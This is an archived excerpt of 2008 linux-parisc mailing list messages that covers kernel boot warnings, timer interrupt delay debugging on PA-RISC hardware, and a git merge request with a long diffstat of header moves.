Approved: news@gmane.org
Message-ID: <20080930151436.GB10632@phobos.i.cabal.ca>
References: <Pine.SOC.4.64.0809301312190.18858@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222787701 27080 80.91.229.12 (30 Sep 2008 15:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2008 15:15:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 30 17:15:59 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kkgwx-0003SB-O4
	for glpp-linux-parisc@gmane.org; Tue, 30 Sep 2008 17:15:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752462AbYI3POj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Sep 2008 11:14:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752555AbYI3POj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Sep 2008 11:14:39 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:41693 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752462AbYI3POi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Sep 2008 11:14:38 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id A2A9F17807A; Tue, 30 Sep 2008 11:14:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <Pine.SOC.4.64.0809301312190.18858@math.ut.ee>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:802
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/802>

On Tue, Sep 30, 2008 at 01:16:34PM +0300, Meelis Roos wrote:
> Just tried 2.6.27-rc8 on a freshly installed HP 9000 L1000-44. With 
> current config it boots fine but emits two badness messages while 
> freeing unused initial memory (dmesg below).
> 
> I'm not subscribed to linux-parisc so please CC: any discussion to me.
> 

It's fine, it's only a warning, and not really any good way to avoid it.
The basic problem is we're firing off an IPI with interrupts off, which
has the possibility of deadlocking, but not in this case.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: timer_interrupt delayed messages 2.6.27-rc7
Date: Tue, 30 Sep 2008 23:59:53 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20081001055953.GC7348@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222840818 19627 80.91.229.12 (1 Oct 2008 06:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2008 06:00:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 01 08:01:16 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kkult-0007gt-E8
	for glpp-linux-parisc@gmane.org; Wed, 01 Oct 2008 08:01:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751864AbYJAGAI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Oct 2008 02:00:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751883AbYJAGAH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Oct 2008 02:00:07 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:47447 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751864AbYJAGAG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Oct 2008 02:00:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3B07B29800A
	for <linux-parisc@vger.kernel.org>; Wed,  1 Oct 2008 00:00:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12306-03 for <linux-parisc@vger.kernel.org>;
	Tue, 30 Sep 2008 23:59:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B9D5C29C08F; Tue, 30 Sep 2008 23:59:53 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:803
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/803>

Hey,
I tested two 2.6.27-rc7 kernels on an a500.
The first had CONFIG_HZ=250 and was getting the following messages:
timer_interrupt(CPU 1): delayed! cycles 100001A37 rem 8C237  next/now 4A954C3C1C/4B954C5653
timer_interrupt(CPU 0): delayed! cycles 100000E07 rem 8B607  next/now 4A95B8EAF5/4B95B8F8FC
timer_interrupt(CPU 1): delayed! cycles 1000009CB rem 8B1CB  next/now 4B956525DC/4C95652FA7
timer_interrupt(CPU 0): delayed! cycles 100000931 rem 8B131  next/now 4B95D1D4B5/4C95D1DDE6
...

Since 8B131+931 looks remarkably close to 550 Mhz/1000, I decided to
try a CONFIG_HZ=1000 kernel and now get the following:
timer_interrupt(CPU 1): delayed! cycles 100001C74 rem 6004  next/now 2BFD187FEA/2CFD189C5E
timer_interrupt(CPU 1): delayed! cycles 100000E8A rem 521A  next/now 2CFD20A0CA/2DFD20AF54
timer_interrupt(CPU 1): delayed! cycles 100000A33 rem 4DC3  next/now 2DFD28C1AA/2EFD28CBDD
timer_interrupt(CPU 1): delayed! cycles 100000C87 rem 5017  next/now 2EFD30E28A/2FFD30EF11
...

Note that CPU0 no longer reports this error.
I suspect we have two bugs in play here.

The first one might be we have some basic bug in how the itimer is
getting programmed.  I suspect it's always off by 32-bits because IIRC
we can only program the lower 32-bits of CR16. I suspect the comparison
code gets the 32-bit rollover wrong. Is that enough clues for someone to
spot this?

The second might be 1000HZ (or 1024?) is still hardcoded in our source
code someplace.  I can't otherwise explain the "rem" values dropped more
than 4x while the "cycles" value is roughly the same (2^32 + about 0x1000).
Also CPU0 stopped reporting this error. Initialization for CPU0 is different
and those might be useful clues too.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] merge request for parisc tree
Date: Mon, 20 Oct 2008 21:31:13 +0000
Lines: 296
Approved: news@gmane.org
Message-ID: <20081020213113.GA16559@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1224542524 11966 80.91.229.12 (20 Oct 2008 22:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Oct 2008 22:42:04 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 21 00:43:00 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ks2MX-00064c-2P
	for glpp-linux-parisc@gmane.org; Mon, 20 Oct 2008 23:32:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753033AbYJTVbV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Oct 2008 17:31:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753084AbYJTVbV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 20 Oct 2008 17:31:21 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:36471 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752973AbYJTVbU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Oct 2008 17:31:20 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/T0SEP/FmBY17ygcdZujVkiAUbIaJZsUE@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id m9KLVEca018321
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 20 Oct 2008 21:31:14 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id m9KLVDpW018320;
	Mon, 20 Oct 2008 21:31:13 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/8451/Mon Oct 20 16:02:15 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 20 Oct 2008 21:31:16 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:804 gmane.linux.kernel:746805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/804>

The following changes since commit d403a6484f0341bf0624d17ece46f24f741b6a92:
  Linus Torvalds (1):
        Merge phase #1 of git://git.kernel.org/.../tip/linux-2.6-tip

are available in the git repository at:

  hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Helge Deller (1):
      parisc: convert to generic compat_sys_ptrace

James Bottomley (1):
      parisc: initialize unwinder much earlier

Kyle McMartin (10):
      parisc: parisc-agp - fix <asm-parisc/*> -> <asm/*>
      parisc: ropes.h - fix <asm-parisc/*> -> <asm/*>
      parisc: add arch/parisc/kernel/.gitignore
      parisc: unify CCIO_COLLECT_STATS implementation
      parisc: move pdc_result to real2.S
      parisc: move include/asm-parisc to arch/parisc/include/asm
      parisc: add pdc_coproc_cfg_unlocked and set_firmware_width_unlocked
      parisc: hijack jump to start_kernel
      parisc: add new syscalls
      parisc: add rtc platform driver

 arch/parisc/Kconfig                                |    2 +
 .../asm-parisc => arch/parisc/include/asm}/Kbuild  |    0
 .../asm-parisc => arch/parisc/include/asm}/a.out.h |    0
 .../asm-parisc => arch/parisc/include/asm}/agp.h   |    0
 .../parisc/include/asm}/asmregs.h                  |    0
 .../parisc/include/asm}/assembly.h                 |    0
 .../parisc/include/asm}/atomic.h                   |    0
 .../parisc/include/asm}/auxvec.h                   |    0
 .../parisc/include/asm}/bitops.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/bug.h   |    0
 .../asm-parisc => arch/parisc/include/asm}/bugs.h  |    0
 .../parisc/include/asm}/byteorder.h                |    0
 .../asm-parisc => arch/parisc/include/asm}/cache.h |    0
 .../parisc/include/asm}/cacheflush.h               |    0
 .../parisc/include/asm}/checksum.h                 |    0
 .../parisc/include/asm}/compat.h                   |    0
 .../parisc/include/asm}/compat_rt_sigframe.h       |    0
 .../parisc/include/asm}/compat_signal.h            |    0
 .../parisc/include/asm}/compat_ucontext.h          |    0
 .../parisc/include/asm}/cputime.h                  |    0
 .../parisc/include/asm}/current.h                  |    0
 .../asm-parisc => arch/parisc/include/asm}/delay.h |    0
 .../parisc/include/asm}/device.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/div64.h |    0
 .../parisc/include/asm}/dma-mapping.h              |    0
 .../asm-parisc => arch/parisc/include/asm}/dma.h   |    0
 .../parisc/include/asm}/eisa_bus.h                 |    0
 .../parisc/include/asm}/eisa_eeprom.h              |    0
 .../asm-parisc => arch/parisc/include/asm}/elf.h   |    0
 .../parisc/include/asm}/emergency-restart.h        |    0
 .../asm-parisc => arch/parisc/include/asm}/errno.h |    0
 .../asm-parisc => arch/parisc/include/asm}/fb.h    |    0
 .../asm-parisc => arch/parisc/include/asm}/fcntl.h |    0
 .../parisc/include/asm}/fixmap.h                   |    0
 .../parisc/include/asm}/floppy.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/futex.h |    0
 .../parisc/include/asm}/grfioctl.h                 |    0
 .../parisc/include/asm}/hardirq.h                  |    0
 .../parisc/include/asm}/hardware.h                 |    0
 .../parisc/include/asm}/hw_irq.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/ide.h   |    0
 .../asm-parisc => arch/parisc/include/asm}/io.h    |    0
 .../asm-parisc => arch/parisc/include/asm}/ioctl.h |    0
 .../parisc/include/asm}/ioctls.h                   |    0
 .../parisc/include/asm}/ipcbuf.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/irq.h   |    0
 .../parisc/include/asm}/irq_regs.h                 |    0
 .../parisc/include/asm}/kdebug.h                   |    0
 .../parisc/include/asm}/kmap_types.h               |    0
 .../asm-parisc => arch/parisc/include/asm}/led.h   |    0
 .../parisc/include/asm}/linkage.h                  |    0
 .../asm-parisc => arch/parisc/include/asm}/local.h |    0
 .../parisc/include/asm}/machdep.h                  |    0
 .../parisc/include/asm}/mc146818rtc.h              |    0
 .../parisc/include/asm}/mckinley.h                 |    0
 .../asm-parisc => arch/parisc/include/asm}/mman.h  |    0
 .../asm-parisc => arch/parisc/include/asm}/mmu.h   |    0
 .../parisc/include/asm}/mmu_context.h              |    0
 .../parisc/include/asm}/mmzone.h                   |    0
 .../parisc/include/asm}/module.h                   |    0
 .../parisc/include/asm}/msgbuf.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/mutex.h |    0
 .../asm-parisc => arch/parisc/include/asm}/page.h  |    0
 .../asm-parisc => arch/parisc/include/asm}/param.h |    0
 .../parisc/include/asm}/parisc-device.h            |    0
 .../parisc/include/asm}/parport.h                  |    0
 .../asm-parisc => arch/parisc/include/asm}/pci.h   |    0
 .../asm-parisc => arch/parisc/include/asm}/pdc.h   |    5 +
 .../parisc/include/asm}/pdc_chassis.h              |    0
 .../parisc/include/asm}/pdcpat.h                   |    0
 .../parisc/include/asm}/percpu.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/perf.h  |    0
 .../parisc/include/asm}/pgalloc.h                  |    0
 .../parisc/include/asm}/pgtable.h                  |    0
 .../asm-parisc => arch/parisc/include/asm}/poll.h  |    0
 .../parisc/include/asm}/posix_types.h              |    0
 .../parisc/include/asm}/prefetch.h                 |    0
 .../parisc/include/asm}/processor.h                |    0
 .../asm-parisc => arch/parisc/include/asm}/psw.h   |    0
 .../parisc/include/asm}/ptrace.h                   |   10 +
 .../asm-parisc => arch/parisc/include/asm}/real.h  |    0
 .../parisc/include/asm}/resource.h                 |    0
 .../asm-parisc => arch/parisc/include/asm}/ropes.h |    2 +-
 .../parisc/include/asm}/rt_sigframe.h              |    0
 .../asm-parisc => arch/parisc/include/asm}/rtc.h   |    0
 .../parisc/include/asm}/runway.h                   |    0
 .../parisc/include/asm}/scatterlist.h              |    0
 .../parisc/include/asm}/sections.h                 |    0
 .../parisc/include/asm}/segment.h                  |    0
 .../parisc/include/asm}/sembuf.h                   |    0
 .../parisc/include/asm}/serial.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/setup.h |    0
 .../parisc/include/asm}/shmbuf.h                   |    0
 .../parisc/include/asm}/shmparam.h                 |    0
 .../parisc/include/asm}/sigcontext.h               |    0
 .../parisc/include/asm}/siginfo.h                  |    0
 .../parisc/include/asm}/signal.h                   |    0
 .../asm-parisc => arch/parisc/include/asm}/smp.h   |    0
 .../parisc/include/asm}/socket.h                   |    0
 .../parisc/include/asm}/sockios.h                  |    0
 .../parisc/include/asm}/spinlock.h                 |    0
 .../parisc/include/asm}/spinlock_types.h           |    0
 .../asm-parisc => arch/parisc/include/asm}/stat.h  |    0
 .../parisc/include/asm}/statfs.h                   |    0
 .../parisc/include/asm}/string.h                   |    0
 .../parisc/include/asm}/superio.h                  |    0
 .../parisc/include/asm}/system.h                   |    0
 .../parisc/include/asm}/termbits.h                 |    0
 .../parisc/include/asm}/termios.h                  |    0
 .../parisc/include/asm}/thread_info.h              |    0
 .../asm-parisc => arch/parisc/include/asm}/timex.h |    0
 .../asm-parisc => arch/parisc/include/asm}/tlb.h   |    0
 .../parisc/include/asm}/tlbflush.h                 |    0
 .../parisc/include/asm}/topology.h                 |    0
 .../asm-parisc => arch/parisc/include/asm}/traps.h |    0
 .../asm-parisc => arch/parisc/include/asm}/types.h |    0
 .../parisc/include/asm}/uaccess.h                  |    0
 .../parisc/include/asm}/ucontext.h                 |    0
 .../parisc/include/asm}/unaligned.h                |    0
 .../parisc/include/asm}/unistd.h                   |    8 +-
 .../parisc/include/asm}/unwind.h                   |    2 +
 .../asm-parisc => arch/parisc/include/asm}/user.h  |    0
 .../asm-parisc => arch/parisc/include/asm}/vga.h   |    0
 .../asm-parisc => arch/parisc/include/asm}/xor.h   |    0
 arch/parisc/kernel/.gitignore                      |    1 +
 arch/parisc/kernel/asm-offsets.c                   |    3 +
 arch/parisc/kernel/firmware.c                      |   69 ++-
 arch/parisc/kernel/head.S                          |    2 +-
 arch/parisc/kernel/ptrace.c                        |  429 ++++++++------------
 arch/parisc/kernel/real2.S                         |   12 +
 arch/parisc/kernel/setup.c                         |   29 ++-
 arch/parisc/kernel/syscall_table.S                 |    8 +-
 arch/parisc/kernel/time.c                          |   20 +-
 arch/parisc/kernel/unwind.c                        |    4 +-
 drivers/char/agp/parisc-agp.c                      |    4 +-
 drivers/parisc/ccio-dma.c                          |   43 +--
 drivers/rtc/Kconfig                                |    8 +
 drivers/rtc/Makefile                               |    1 +
 drivers/rtc/rtc-parisc.c                           |  111 +++++
 139 files changed, 456 insertions(+), 317 deletions(-)
 rename {include/asm-parisc => arch/parisc/include/asm}/Kbuild (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/a.out.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/agp.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/asmregs.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/assembly.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/atomic.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/auxvec.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/bitops.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/bug.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/bugs.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/byteorder.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/cache.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/cacheflush.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/checksum.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/compat.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/compat_rt_sigframe.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/compat_signal.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/compat_ucontext.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/cputime.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/current.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/delay.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/device.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/div64.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/dma-mapping.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/dma.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/eisa_bus.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/eisa_eeprom.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/elf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/emergency-restart.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/errno.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/fb.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/fcntl.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/fixmap.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/floppy.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/futex.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/grfioctl.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/hardirq.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/hardware.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/hw_irq.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ide.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/io.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ioctl.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ioctls.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ipcbuf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/irq.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/irq_regs.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/kdebug.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/kmap_types.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/led.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/linkage.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/local.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/machdep.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mc146818rtc.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mckinley.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mman.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mmu.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mmu_context.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mmzone.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/module.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/msgbuf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/mutex.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/page.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/param.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/parisc-device.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/parport.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pci.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pdc.h (99%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pdc_chassis.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pdcpat.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/percpu.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/perf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pgalloc.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/pgtable.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/poll.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/posix_types.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/prefetch.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/processor.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/psw.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ptrace.h (85%)
 rename {include/asm-parisc => arch/parisc/include/asm}/real.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/resource.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ropes.h (99%)
 rename {include/asm-parisc => arch/parisc/include/asm}/rt_sigframe.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/rtc.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/runway.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/scatterlist.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/sections.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/segment.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/sembuf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/serial.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/setup.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/shmbuf.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/shmparam.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/sigcontext.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/siginfo.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/signal.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/smp.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/socket.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/sockios.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/spinlock.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/spinlock_types.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/stat.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/statfs.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/string.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/superio.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/system.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/termbits.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/termios.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/thread_info.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/timex.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/tlb.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/tlbflush.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/topology.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/traps.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/types.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/uaccess.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/ucontext.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/unaligned.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/unistd.h (99%)
 rename {include/asm-parisc => arch/parisc/include/asm}/unwind.h (99%)
 rename {include/asm-parisc => arch/parisc/include/asm}/user.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/vga.h (100%)
 rename {include/asm-parisc => arch/parisc/include/asm}/xor.h (100%)
 create mode 100644 arch/parisc/kernel/.gitignore
 create mode 100644 drivers/rtc/rtc-parisc.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] merge request for parisc tree
Date: Wed, 22 Oct 2008 21:08:36 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <48FF7A34.3020504@gmx.de>
References: <20081020213113.GA16559@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1224702536 30133 80.91.229.12 (22 Oct 2008 19:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Oct 2008 19:08:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@hera.kernel.org>
